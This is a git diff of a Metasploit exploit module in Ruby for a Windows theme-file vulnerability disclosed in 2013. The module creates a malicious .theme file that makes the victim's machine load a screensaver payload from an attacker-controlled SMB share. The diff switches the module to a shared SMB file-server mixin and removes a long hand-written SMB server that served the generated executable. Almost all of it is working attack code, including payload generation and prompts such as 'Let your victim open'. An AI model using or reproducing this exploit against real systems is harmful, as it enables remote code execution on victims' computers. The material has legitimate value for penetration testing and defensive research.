@@ -10,7 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote
10
10
11
11
include Msf ::Exploit ::FILEFORMAT
12
12
include Msf ::Exploit ::EXE
13
- include Msf ::Exploit ::Remote ::SMB ::Server
13
+ include Msf ::Exploit ::Remote ::SMB ::Server :: Share
14
14
15
15
def initialize ( info = { } )
16
16
super ( update_info ( info ,
@@ -28,7 +28,8 @@ def initialize(info={})
28
28
'Author' =>
29
29
[
30
30
'Eduardo Prado' , # Vulnerability discovery
31
- 'juan vazquez' # Metasploit module
31
+ 'juan vazquez' , # Metasploit module
32
+ 'Matthew Hall <[email protected] >' # Metasploit module refactored to use Remote::SMBFileServer
32
33
] ,
33
34
'References' =>
34
35
[
@@ -56,30 +57,18 @@ def initialize(info={})
56
57
'Privileged' => false ,
57
58
'DisclosureDate' => "Sep 10 2013" ,
58
59
'DefaultTarget' => 0 ) )
59
-
60
- register_options (
60
+ register_options (
61
61
[
62
- OptString . new ( 'FILENAME' , [ true , 'The theme file' , 'msf.theme' ] ) ,
63
- OptString . new ( 'UNCPATH ' , [ false , 'Override the UNC path to use (Ex: \\\\192.168.1.1\\share\\exploit. scr)' ] )
62
+ OptString . new ( 'FILENAME' , [ true , 'The theme file' , 'msf.theme' ] ) ,
63
+ OptString . new ( 'FILE_NAME ' , [ false , 'SCR File name to share' , 'msf. scr' ] )
64
64
] , self . class )
65
+ deregister_options ( 'FILE_CONTENTS' )
65
66
end
66
67
67
68
def exploit
68
-
69
- if ( datastore [ 'UNCPATH' ] )
70
- @unc = datastore [ 'UNCPATH' ]
71
- print_status ( "Remember to share the malicious EXE payload as #{ @unc } " )
72
- else
73
- print_status ( "Generating our malicious executable..." )
74
- @exe = generate_payload_exe
75
- my_host = ( datastore [ 'SRVHOST' ] == '0.0.0.0' ) ? Rex ::Socket . source_address : datastore [ 'SRVHOST' ]
76
- @share = rand_text_alpha ( 5 + rand ( 5 ) )
77
- @scr_file = "#{ rand_text_alpha ( 5 + rand ( 5 ) ) } .scr"
78
- @hi , @lo = UTILS . time_unix_to_smb ( Time . now . to_i )
79
- @unc = "\\ \\ #{ my_host } \\ #{ @share } \\ #{ @scr_file } "
80
- end
81
-
82
69
print_status ( "Creating '#{ datastore [ 'FILENAME' ] } ' file ..." )
70
+ self . file_contents = generate_payload_exe
71
+ print_status ( "Malicious SCR available on #{ unc } ..." )
83
72
# Default Windows XP / 2003 theme modified
84
73
theme = <<-EOF
85
74
; Copyright (c) Microsoft Corp. 1995-2001
@@ -118,316 +107,6 @@ def exploit
118
107
MTSM=DABJDKT
119
108
EOF
120
109
file_create ( theme )
121
- print_good ( "Let your victim open #{ datastore [ 'FILENAME' ] } " )
122
-
123
- if not datastore [ 'UNCPATH' ]
124
- print_status ( "Ready to deliver your payload on #{ @unc } " )
125
- super
126
- end
127
-
128
- end
129
-
130
- # TODO: these smb_* methods should be moved up to the SMBServer mixin
131
- # development and test on progress
132
-
133
- def smb_cmd_dispatch ( cmd , c , buff )
134
- smb = @state [ c ]
135
- vprint_status ( "Received command #{ cmd } from #{ smb [ :name ] } " )
136
-
137
- pkt = CONST ::SMB_BASE_PKT . make_struct
138
- pkt . from_s ( buff )
139
- #Record the IDs
140
- smb [ :process_id ] = pkt [ 'Payload' ] [ 'SMB' ] . v [ 'ProcessID' ]
141
- smb [ :user_id ] = pkt [ 'Payload' ] [ 'SMB' ] . v [ 'UserID' ]
142
- smb [ :tree_id ] = pkt [ 'Payload' ] [ 'SMB' ] . v [ 'TreeID' ]
143
- smb [ :multiplex_id ] = pkt [ 'Payload' ] [ 'SMB' ] . v [ 'MultiplexID' ]
144
-
145
- case cmd
146
- when CONST ::SMB_COM_NEGOTIATE
147
- smb_cmd_negotiate ( c , buff )
148
- when CONST ::SMB_COM_SESSION_SETUP_ANDX
149
- wordcount = pkt [ 'Payload' ] [ 'SMB' ] . v [ 'WordCount' ]
150
- if wordcount == 0x0D # It's the case for Share Security Mode sessions
151
- smb_cmd_session_setup ( c , buff )
152
- else
153
- vprint_status ( "SMB Capture - #{ smb [ :ip ] } Unknown SMB_COM_SESSION_SETUP_ANDX request type , ignoring... " )
154
- smb_error ( cmd , c , CONST ::SMB_STATUS_SUCCESS )
155
- end
156
- when CONST ::SMB_COM_TRANSACTION2
157
- smb_cmd_trans ( c , buff )
158
- when CONST ::SMB_COM_NT_CREATE_ANDX
159
- smb_cmd_create ( c , buff )
160
- when CONST ::SMB_COM_READ_ANDX
161
- smb_cmd_read ( c , buff )
162
- else
163
- vprint_status ( "SMB Capture - Ignoring request from #{ smb [ :name ] } - #{ smb [ :ip ] } (#{ cmd } )" )
164
- smb_error ( cmd , c , CONST ::SMB_STATUS_SUCCESS )
165
- end
166
- end
167
-
168
-
169
- def smb_cmd_negotiate ( c , buff )
170
- pkt = CONST ::SMB_NEG_PKT . make_struct
171
- pkt . from_s ( buff )
172
-
173
- dialects = pkt [ 'Payload' ] . v [ 'Payload' ] . gsub ( /\x00 / , '' ) . split ( /\x02 / ) . grep ( /^\w +/ )
174
-
175
- dialect = dialects . index ( "NT LM 0.12" ) || dialects . length -1
176
-
177
- pkt = CONST ::SMB_NEG_RES_NT_PKT . make_struct
178
- smb_set_defaults ( c , pkt )
179
-
180
- time_hi , time_lo = UTILS . time_unix_to_smb ( Time . now . to_i )
181
-
182
- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'Command' ] = CONST ::SMB_COM_NEGOTIATE
183
- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'Flags1' ] = 0x88
184
- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'Flags2' ] = 0xc001
185
- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'WordCount' ] = 17
186
- pkt [ 'Payload' ] . v [ 'Dialect' ] = dialect
187
- pkt [ 'Payload' ] . v [ 'SecurityMode' ] = 2 # SHARE Security Mode
188
- pkt [ 'Payload' ] . v [ 'MaxMPX' ] = 50
189
- pkt [ 'Payload' ] . v [ 'MaxVCS' ] = 1
190
- pkt [ 'Payload' ] . v [ 'MaxBuff' ] = 4356
191
- pkt [ 'Payload' ] . v [ 'MaxRaw' ] = 65536
192
- pkt [ 'Payload' ] . v [ 'SystemTimeLow' ] = time_lo
193
- pkt [ 'Payload' ] . v [ 'SystemTimeHigh' ] = time_hi
194
- pkt [ 'Payload' ] . v [ 'ServerTimeZone' ] = 0x0
195
- pkt [ 'Payload' ] . v [ 'SessionKey' ] = 0
196
- pkt [ 'Payload' ] . v [ 'Capabilities' ] = 0x80f3fd
197
- pkt [ 'Payload' ] . v [ 'KeyLength' ] = 8
198
- pkt [ 'Payload' ] . v [ 'Payload' ] = Rex ::Text . rand_text_hex ( 8 )
199
-
200
- c . put ( pkt . to_s )
201
- end
202
-
203
- def smb_cmd_session_setup ( c , buff )
204
-
205
- pkt = CONST ::SMB_SETUP_RES_PKT . make_struct
206
- smb_set_defaults ( c , pkt )
207
-
208
- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'Command' ] = CONST ::SMB_COM_SESSION_SETUP_ANDX
209
- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'Flags1' ] = 0x88
210
- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'Flags2' ] = 0xc001
211
- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'WordCount' ] = 3
212
- pkt [ 'Payload' ] . v [ 'AndX' ] = 0x75
213
- pkt [ 'Payload' ] . v [ 'Reserved1' ] = 00
214
- pkt [ 'Payload' ] . v [ 'AndXOffset' ] = 96
215
- pkt [ 'Payload' ] . v [ 'Action' ] = 0x1 # Logged in as Guest
216
- pkt [ 'Payload' ] . v [ 'Payload' ] =
217
- Rex ::Text . to_unicode ( "Unix" , 'utf-16be' ) + "\x00 \x00 " + # Native OS # Samba signature
218
- Rex ::Text . to_unicode ( "Samba 3.4.7" , 'utf-16be' ) + "\x00 \x00 " + # Native LAN Manager # Samba signature
219
- Rex ::Text . to_unicode ( "WORKGROUP" , 'utf-16be' ) + "\x00 \x00 \x00 " + # Primary DOMAIN # Samba signature
220
- tree_connect_response = ""
221
- tree_connect_response << [ 7 ] . pack ( "C" ) # Tree Connect Response : WordCount
222
- tree_connect_response << [ 0xff ] . pack ( "C" ) # Tree Connect Response : AndXCommand
223
- tree_connect_response << [ 0 ] . pack ( "C" ) # Tree Connect Response : Reserved
224
- tree_connect_response << [ 0 ] . pack ( "v" ) # Tree Connect Response : AndXOffset
225
- tree_connect_response << [ 0x1 ] . pack ( "v" ) # Tree Connect Response : Optional Support
226
- tree_connect_response << [ 0xa9 ] . pack ( "v" ) # Tree Connect Response : Word Parameter
227
- tree_connect_response << [ 0x12 ] . pack ( "v" ) # Tree Connect Response : Word Parameter
228
- tree_connect_response << [ 0 ] . pack ( "v" ) # Tree Connect Response : Word Parameter
229
- tree_connect_response << [ 0 ] . pack ( "v" ) # Tree Connect Response : Word Parameter
230
- tree_connect_response << [ 13 ] . pack ( "v" ) # Tree Connect Response : ByteCount
231
- tree_connect_response << "A:\x00 " # Service
232
- tree_connect_response << "#{ Rex ::Text . to_unicode ( "NTFS" ) } \x00 \x00 " # Extra byte parameters
233
- # Fix the Netbios Session Service Message Length
234
- # to have into account the tree_connect_response,
235
- # need to do this because there isn't support for
236
- # AndX still
237
- my_pkt = pkt . to_s + tree_connect_response
238
- original_length = my_pkt [ 2 , 2 ] . unpack ( "n" ) . first
239
- original_length = original_length + tree_connect_response . length
240
- my_pkt [ 2 , 2 ] = [ original_length ] . pack ( "n" )
241
- c . put ( my_pkt )
242
- end
243
-
244
- def smb_cmd_create ( c , buff )
245
- pkt = CONST ::SMB_CREATE_PKT . make_struct
246
- pkt . from_s ( buff )
247
-
248
- if pkt [ 'Payload' ] . v [ 'Payload' ] =~ /#{ Rex ::Text . to_unicode ( "#{ @scr_file } \x00 " ) } /
249
- pkt = CONST ::SMB_CREATE_RES_PKT . make_struct
250
- smb_set_defaults ( c , pkt )
251
- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'Command' ] = CONST ::SMB_COM_NT_CREATE_ANDX
252
- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'Flags1' ] = 0x88
253
- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'Flags2' ] = 0xc001
254
- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'WordCount' ] = 42
255
- pkt [ 'Payload' ] . v [ 'AndX' ] = 0xff # no further commands
256
- pkt [ 'Payload' ] . v [ 'OpLock' ] = 0x2
257
- # No need to track fid here, we're just offering one file
258
- pkt [ 'Payload' ] . v [ 'FileID' ] = rand ( 0x7fff ) + 1 # To avoid fid = 0
259
- pkt [ 'Payload' ] . v [ 'Action' ] = 0x1 # The file existed and was opened
260
- pkt [ 'Payload' ] . v [ 'CreateTimeLow' ] = @lo
261
- pkt [ 'Payload' ] . v [ 'CreateTimeHigh' ] = @hi
262
- pkt [ 'Payload' ] . v [ 'AccessTimeLow' ] = @lo
263
- pkt [ 'Payload' ] . v [ 'AccessTimeHigh' ] = @hi
264
- pkt [ 'Payload' ] . v [ 'WriteTimeLow' ] = @lo
265
- pkt [ 'Payload' ] . v [ 'WriteTimeHigh' ] = @hi
266
- pkt [ 'Payload' ] . v [ 'ChangeTimeLow' ] = @lo
267
- pkt [ 'Payload' ] . v [ 'ChangeTimeHigh' ] = @hi
268
- pkt [ 'Payload' ] . v [ 'Attributes' ] = 0x80 # Ordinary file
269
- pkt [ 'Payload' ] . v [ 'AllocLow' ] = 0x100000
270
- pkt [ 'Payload' ] . v [ 'AllocHigh' ] = 0
271
- pkt [ 'Payload' ] . v [ 'EOFLow' ] = @exe . length
272
- pkt [ 'Payload' ] . v [ 'EOFHigh' ] = 0
273
- pkt [ 'Payload' ] . v [ 'FileType' ] = 0
274
- pkt [ 'Payload' ] . v [ 'IPCState' ] = 0x7
275
- pkt [ 'Payload' ] . v [ 'IsDirectory' ] = 0
276
- c . put ( pkt . to_s )
277
- else
278
- pkt = CONST ::SMB_CREATE_RES_PKT . make_struct
279
- smb_set_defaults ( c , pkt )
280
- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'Command' ] = CONST ::SMB_COM_NT_CREATE_ANDX
281
- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'ErrorClass' ] = 0xC0000034 # OBJECT_NAME_NOT_FOUND
282
- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'Flags1' ] = 0x88
283
- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'Flags2' ] = 0xc001
284
- c . put ( pkt . to_s )
285
- end
286
-
287
- end
288
-
289
- def smb_cmd_read ( c , buff )
290
- pkt = CONST ::SMB_READ_PKT . make_struct
291
- pkt . from_s ( buff )
292
-
293
- offset = pkt [ 'Payload' ] . v [ 'Offset' ]
294
- length = pkt [ 'Payload' ] . v [ 'MaxCountLow' ]
295
-
296
- pkt = CONST ::SMB_READ_RES_PKT . make_struct
297
- smb_set_defaults ( c , pkt )
298
-
299
- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'Command' ] = CONST ::SMB_COM_READ_ANDX
300
- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'Flags1' ] = 0x88
301
- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'Flags2' ] = 0xc001
302
- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'WordCount' ] = 12
303
- pkt [ 'Payload' ] . v [ 'AndX' ] = 0xff # no more commands
304
- pkt [ 'Payload' ] . v [ 'Remaining' ] = 0xffff
305
- pkt [ 'Payload' ] . v [ 'DataLenLow' ] = length
306
- pkt [ 'Payload' ] . v [ 'DataOffset' ] = 59
307
- pkt [ 'Payload' ] . v [ 'DataLenHigh' ] = 0
308
- pkt [ 'Payload' ] . v [ 'Reserved3' ] = 0
309
- pkt [ 'Payload' ] . v [ 'Reserved4' ] = 6
310
- pkt [ 'Payload' ] . v [ 'ByteCount' ] = length
311
- pkt [ 'Payload' ] . v [ 'Payload' ] = @exe [ offset , length ]
312
-
313
- c . put ( pkt . to_s )
314
- end
315
-
316
- def smb_cmd_trans ( c , buff )
317
- pkt = CONST ::SMB_TRANS2_PKT . make_struct
318
- pkt . from_s ( buff )
319
-
320
- sub_command = pkt [ 'Payload' ] . v [ 'SetupData' ] . unpack ( "v" ) . first
321
- case sub_command
322
- when 0x5 # QUERY_PATH_INFO
323
- smb_cmd_trans_query_path_info ( c , buff )
324
- when 0x1 # FIND_FIRST2
325
- smb_cmd_trans_find_first2 ( c , buff )
326
- else
327
- pkt = CONST ::SMB_TRANS_RES_PKT . make_struct
328
- smb_set_defaults ( c , pkt )
329
- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'Command' ] = CONST ::SMB_COM_TRANSACTION2
330
- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'Flags1' ] = 0x88
331
- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'Flags2' ] = 0xc001
332
- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'ErrorClass' ] = 0xc0000225 # NT_STATUS_NOT_FOUND
333
- c . put ( pkt . to_s )
334
- end
335
- end
336
-
337
- def smb_cmd_trans_query_path_info ( c , buff )
338
- pkt = CONST ::SMB_TRANS2_PKT . make_struct
339
- pkt . from_s ( buff )
340
-
341
- if pkt [ 'Payload' ] . v [ 'SetupData' ] . length < 16
342
- # if QUERY_PATH_INFO_PARAMETERS doesn't include a file name,
343
- # return a Directory answer
344
- pkt = CONST ::SMB_TRANS_RES_PKT . make_struct
345
- smb_set_defaults ( c , pkt )
346
-
347
- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'Command' ] = CONST ::SMB_COM_TRANSACTION2
348
- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'Flags1' ] = 0x88
349
- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'Flags2' ] = 0xc001
350
- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'WordCount' ] = 10
351
- pkt [ 'Payload' ] . v [ 'ParamCountTotal' ] = 2
352
- pkt [ 'Payload' ] . v [ 'DataCountTotal' ] = 40
353
- pkt [ 'Payload' ] . v [ 'ParamCount' ] = 2
354
- pkt [ 'Payload' ] . v [ 'ParamOffset' ] = 56
355
- pkt [ 'Payload' ] . v [ 'DataCount' ] = 40
356
- pkt [ 'Payload' ] . v [ 'DataOffset' ] = 60
357
- pkt [ 'Payload' ] . v [ 'Payload' ] =
358
- "\x00 " + # Padding
359
- # QUERY_PATH_INFO Parameters
360
- "\x00 \x00 " + # EA Error Offset
361
- "\x00 \x00 " + # Padding
362
- #QUERY_PATH_INFO Data
363
- [ @lo , @hi ] . pack ( "VV" ) + # Created
364
- [ @lo , @hi ] . pack ( "VV" ) + # Last Access
365
- [ @lo , @hi ] . pack ( "VV" ) + # Last Write
366
- [ @lo , @hi ] . pack ( "VV" ) + # Change
367
- "\x10 \x00 \x00 \x00 " + # File attributes => directory
368
- "\x00 \x00 \x00 \x00 " # Unknown
369
- c . put ( pkt . to_s )
370
-
371
- else
372
- # if QUERY_PATH_INFO_PARAMETERS includes a file name,
373
- # returns an object name not found error
374
- pkt = CONST ::SMB_TRANS_RES_PKT . make_struct
375
- smb_set_defaults ( c , pkt )
376
-
377
- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'Command' ] = CONST ::SMB_COM_TRANSACTION2
378
- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'ErrorClass' ] = 0xC0000034 #OBJECT_NAME_NOT_FOUND
379
- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'Flags1' ] = 0x88
380
- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'Flags2' ] = 0xc001
381
- c . put ( pkt . to_s )
382
-
383
- end
384
- end
385
-
386
- def smb_cmd_trans_find_first2 ( c , buff )
387
-
388
- pkt = CONST ::SMB_TRANS_RES_PKT . make_struct
389
- smb_set_defaults ( c , pkt )
390
-
391
- file_name = Rex ::Text . to_unicode ( @scr_file )
392
-
393
- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'Command' ] = CONST ::SMB_COM_TRANSACTION2
394
- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'Flags1' ] = 0x88
395
- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'Flags2' ] = 0xc001
396
- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'WordCount' ] = 10
397
- pkt [ 'Payload' ] . v [ 'ParamCountTotal' ] = 10
398
- pkt [ 'Payload' ] . v [ 'DataCountTotal' ] = 94 + file_name . length
399
- pkt [ 'Payload' ] . v [ 'ParamCount' ] = 10
400
- pkt [ 'Payload' ] . v [ 'ParamOffset' ] = 56
401
- pkt [ 'Payload' ] . v [ 'DataCount' ] = 94 + file_name . length
402
- pkt [ 'Payload' ] . v [ 'DataOffset' ] = 68
403
- pkt [ 'Payload' ] . v [ 'Payload' ] =
404
- "\x00 " + # Padding
405
- # FIND_FIRST2 Parameters
406
- "\xfd \xff " + # Search ID
407
- "\x01 \x00 " + # Search count
408
- "\x01 \x00 " + # End Of Search
409
- "\x00 \x00 " + # EA Error Offset
410
- "\x00 \x00 " + # Last Name Offset
411
- "\x00 \x00 " + # Padding
412
- #QUERY_PATH_INFO Data
413
- [ 94 + file_name . length ] . pack ( "V" ) + # Next Entry Offset
414
- "\x00 \x00 \x00 \x00 " + # File Index
415
- [ @lo , @hi ] . pack ( "VV" ) + # Created
416
- [ @lo , @hi ] . pack ( "VV" ) + # Last Access
417
- [ @lo , @hi ] . pack ( "VV" ) + # Last Write
418
- [ @lo , @hi ] . pack ( "VV" ) + # Change
419
- [ @exe . length ] . pack ( "V" ) + "\x00 \x00 \x00 \x00 " + # End Of File
420
- "\x00 \x00 \x10 \x00 \x00 \x00 \x00 \x00 " + # Allocation size
421
- "\x80 \x00 \x00 \x00 " + # File attributes => directory
422
- [ file_name . length ] . pack ( "V" ) + # File name len
423
- "\x00 \x00 \x00 \x00 " + # EA List Lenght
424
- "\x00 " + # Short file lenght
425
- "\x00 " + # Reserved
426
- ( "\x00 " * 24 ) +
427
- file_name
428
-
429
- c . put ( pkt . to_s )
430
110
end
431
111
432
112
end
433
-
0 commit comments